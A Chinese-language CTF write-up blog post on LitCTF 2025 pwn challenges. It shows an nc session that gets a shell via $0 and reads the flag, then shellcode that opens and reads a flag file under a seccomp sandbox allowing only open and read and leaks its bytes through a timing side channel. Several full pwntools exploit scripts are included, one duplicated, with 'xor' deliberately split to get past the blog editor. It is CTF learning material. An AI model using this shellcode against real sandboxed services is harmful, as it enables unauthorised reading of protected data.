test_your_nc
$0提权然后cat flag
C:\Users\26597>nc node10.anna.nssctf.cn 23227
input your command
$0
c/at fl/ag
sh: 1: c/at: not found
ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
cat flag
NSSCTF{bb1df39b-d81a-4996-8f63-38aff8a21053}
shellcode
IDA打开看到有沙箱,先查沙箱保护:
┌──(kali㉿kali)-[~/PycharmProjects/PythonProject]
└─$ seccomp-tools dump ./pwn1_lit
Welcome LitCTF 2025
Please input your shellcode:
line CODE JT JF K
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
没出现的函数就是被ban掉了(夏师傅误我)
这里就剩个OR了,没W,没W就没法输出flag,那正常的ORW就没得玩了
但是又学了招新的,侧信道爆破
原理就是,先想办法利用open
函数,打开flag
文件
打开文件的方法是:将字符串”flag\0″压栈,调用open
打开文件,获得文件描述符fd
然后利用read
函数:将fd
设为read
的第一个参数,读取内容到栈上的缓冲区(覆盖原”flag\0″字符串的位置)
再通过二分法猜测每个字符的ASCII值。若程序未及时退出(超时),说明字符值大于当前猜测,调整二分范围
利用程序响应时间的差异推断字符的正确值,逐步拼接完整flag
(u1s1,感觉这个思路挺具有想象力的)
sc=asm("""
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall #open("flag.txt", 0, 0);
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall #read(0, rsp, 0x100);
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.sendafter(":", sc)
io.recv()
try:
io.recv(timeout=0.1)
io.close()
return True
except EOFError:
io.close()
return False
movabs rax, 0x67616C66
,这里的0x67616C66
是flag
的16进制小端序表示
感觉这个shellcode可能会具有一定的普适性(但就做过这一个题,等我找到了其他类似的题目再来试试,如果不行就另外总结怎么在这个的基础上改)
i = 0
flag = ''
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1
if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1
info("flag: "+flag)
这里就是二分法爆破的代码实现,0x20~0x80是所有可见字符的范围
实际上也就96个字符,实际爆起来也挺快的()
这里在同一目录下创建flag文件
(由于不知道NSS出什么问题,其他都上平台了,就这个没上,只能打本地进行复现)
这个长度的flag在1k多次尝试后就差不多出来了,所以讲道理应该花不了什么时间,不过由于是打本地,我把timeout的时间缩短到了0.1,原版不知道战队佬们的exp打远程用的值是2来着(毕竟开低了要出事吧)
这边借用一下大佬exp:
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=remote()
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
io=0
def find(i, c):
global io
\#io=remote('node8.anna.nssctf.cn', 20901)
io=process("./pwn1_lit")
sc=asm("""
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xo r rsi,rsi
xo r rdx, rdx
mov rax, 2
syscall #open("flag.txt", 0, 0);
mov rsi, rdi
mov rdi, rax
xo r rax, rax
mov rdx, 0x100
syscall #read(0, rsp, 0x100);
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.sendafter(":", sc)
io.recv()
try:
io.recv(timeout=0.1)
io.close()
return True
except EOFError:
io.close()
return False
#debug("break *main+120\nc")
i = 0
flag = ''
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1
if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1
info("flag: "+flag)
这里就是二分法爆破的代码实现,0x20~0x80是所有可见字符的范围
实际上也就96个字符,实际爆起来也挺快的()
这里在同一目录下创建flag文件
(由于不知道NSS出什么问题,其他都上平台了,就这个没上,只能打本地进行复现)
这个长度的flag在1k多次尝试后就差不多出来了,所以讲道理应该花不了什么时间,不过由于是打本地,我把timeout的时间缩短到了0.1,原版不知道战队佬们的exp打远程用的值是2来着(毕竟开低了要出事吧)
这边借用一下大佬exp:
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=remote()
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
io=0
def find(i, c):
global io
#io=remote('node8.anna.nssctf.cn', 20901)
io=process("./pwn1_lit")
sc=asm("""
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xo r rsi, rsi
xo r rdx, rdx
mov rax, 2
syscall #open("flag.txt", 0, 0);
mov rsi, rdi
mov rdi, rax
xo r rax, rax
mov rdx, 0x100
syscall #read(0, rsp, 0x100);
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.sendafter(":", sc)
io.recv()
try:
io.recv(timeout=0.1)
io.close()
return True
except EOFError:
io.close()
return False
#debug("break *main+120\nc")
i = 0
flag = ''
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1
if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1
info("flag: "+flag)
这里我另外自己改写了一版
from pwn import *
context.update(arch='amd64', os='linux', log_level='info')
def exp(offset, char):
shellcode = asm(f'''
/* 构造"flag.txt"并确保栈对齐 */
sub rsp, 0x20
and rsp, 0xfffffffffffffff0 # 对齐栈
mov rax, 0x67616C66 # "flag.txt"
mov qword ptr [rsp+0x10], rax
xo r rax, rax
mov qword ptr [rsp+0x18], rax
lea rdi, [rsp+0x10] # 文件名指针
xo r esi, esi # O_RDONLY
xo r edx, edx
mov al, 2
syscall # open("flag", 0)
/* 读取flag到rsp缓冲区 */
test rax, rax # 检查open是否成功
js failed # 失败则退出
mov rdi, rax # fd
mov rsi, rsp # 缓冲区地址
mov dl, 0x40 # 读取长度
xo r rax, rax
syscall # read(fd, buf, 0x40)
/* 比较第offset个字符 */
mov al, byte ptr [rsi+{offset}]
mov cl, {char}
cmp al, cl
je loop # 相等则保持存活
ud2 # 不等触发崩溃
loop:
jmp loop
failed:
ud2
''')
p.send(shellcode)
flag = "flag{"
for i in range(len(flag), 50):
found = False
for c in range(0x20, 0x7f):
try:
p = process('./pwn1_lit')
exp(i, c)
# 检测进程是否存活(1秒超时)
start = time.time()
while time.time() - start < 1:
if p.poll() is not None: # 进程已终止
break
sleep(0.1)
if p.poll() is None: # 仍然存活说明字符正确
flag += chr(c)
log.success(f"Found: {flag} , !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
p.kill()
found = True
break
p.close()
except Exception as e:
p.close()
if not found:
log.error("No valid char found!")
break
为了更新这个博客真是给我气笑了,wordpress什么鬼东西,死活更新不上去,我一行一行找是哪一行会出问题,结果居然是代码块里面的xor连着就报错,说是此响应不是合法的 JSON 响应,o和r隔一个字符就没事了,深井冰wordpress
最讨厌wordpress编辑器的一集